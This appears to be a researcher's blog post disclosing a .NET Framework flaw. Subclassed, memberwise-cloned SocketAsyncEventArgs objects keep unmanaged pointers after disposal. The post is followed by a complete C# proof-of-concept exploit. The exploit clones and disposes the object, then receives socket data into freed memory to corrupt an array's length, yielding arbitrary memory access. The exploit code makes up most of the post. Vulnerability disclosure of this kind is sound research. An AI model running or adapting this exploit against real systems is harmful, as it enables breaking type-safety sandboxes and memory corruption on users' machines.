Unlike most bugs that I run into, this one I actively went looking for. After being reminded of the cloning attack (in the context of Java) I wrote some reflection code to scan the BCL for public types that are cloneable (i.e. subclassable) and contain unmanaged pointer fields. This is a bad combination. A class that showed up as potentially vulnerable was SocketAsyncEventArgs and a few minutes with ildasm confirmed it.
I had at that time fairly recently written about another Socket vulnerability (that was fixed in MS11-039), but that was a complete coincidence. As I said this bug was found via (trivial) static analysis.
Here's an example exploit (not very reliable):
using System;
using System.Net;
using System.Net.Sockets;
class MySocketAsyncEventArgs : System.Net.Sockets.SocketAsyncEventArgs
{
public MySocketAsyncEventArgs Clone()
{
return (MySocketAsyncEventArgs)MemberwiseClone();
}
}
class Program
{
static void Main()
{
GC.Collect();
byte[] buf1 = new byte[1024];
object[] dummy = new object[1024];
for (int i = 0; i < dummy.Length; i++)
dummy[i] = new byte[1024];
byte[] buf2 = new byte[1];
MySocketAsyncEventArgs args = new MySocketAsyncEventArgs();
args.SetBuffer(buf1, 0, buf1.Length);
MySocketAsyncEventArgs copy = args.Clone();
args.Dispose();
buf1 = null;
GC.Collect();
Socket server = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
server.Bind(new IPEndPoint(IPAddress.Loopback, 0));
server.Listen(1);
Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
client.Connect(server.LocalEndPoint);
Socket conn = server.Accept();
byte[] buf = new byte[1024];
for (int i = 0; i < buf.Length; i++)
buf[i] = 0xFF;
client.Send(buf);
conn.ReceiveAsync(copy);
System.Threading.Thread.Sleep(100);
// now we have a magic array that allows us arbitrary memory access
Console.WriteLine(buf2.Length);
Console.WriteLine(buf2[1000000000]); // AccessViolation
GC.SuppressFinalize(copy);
}
}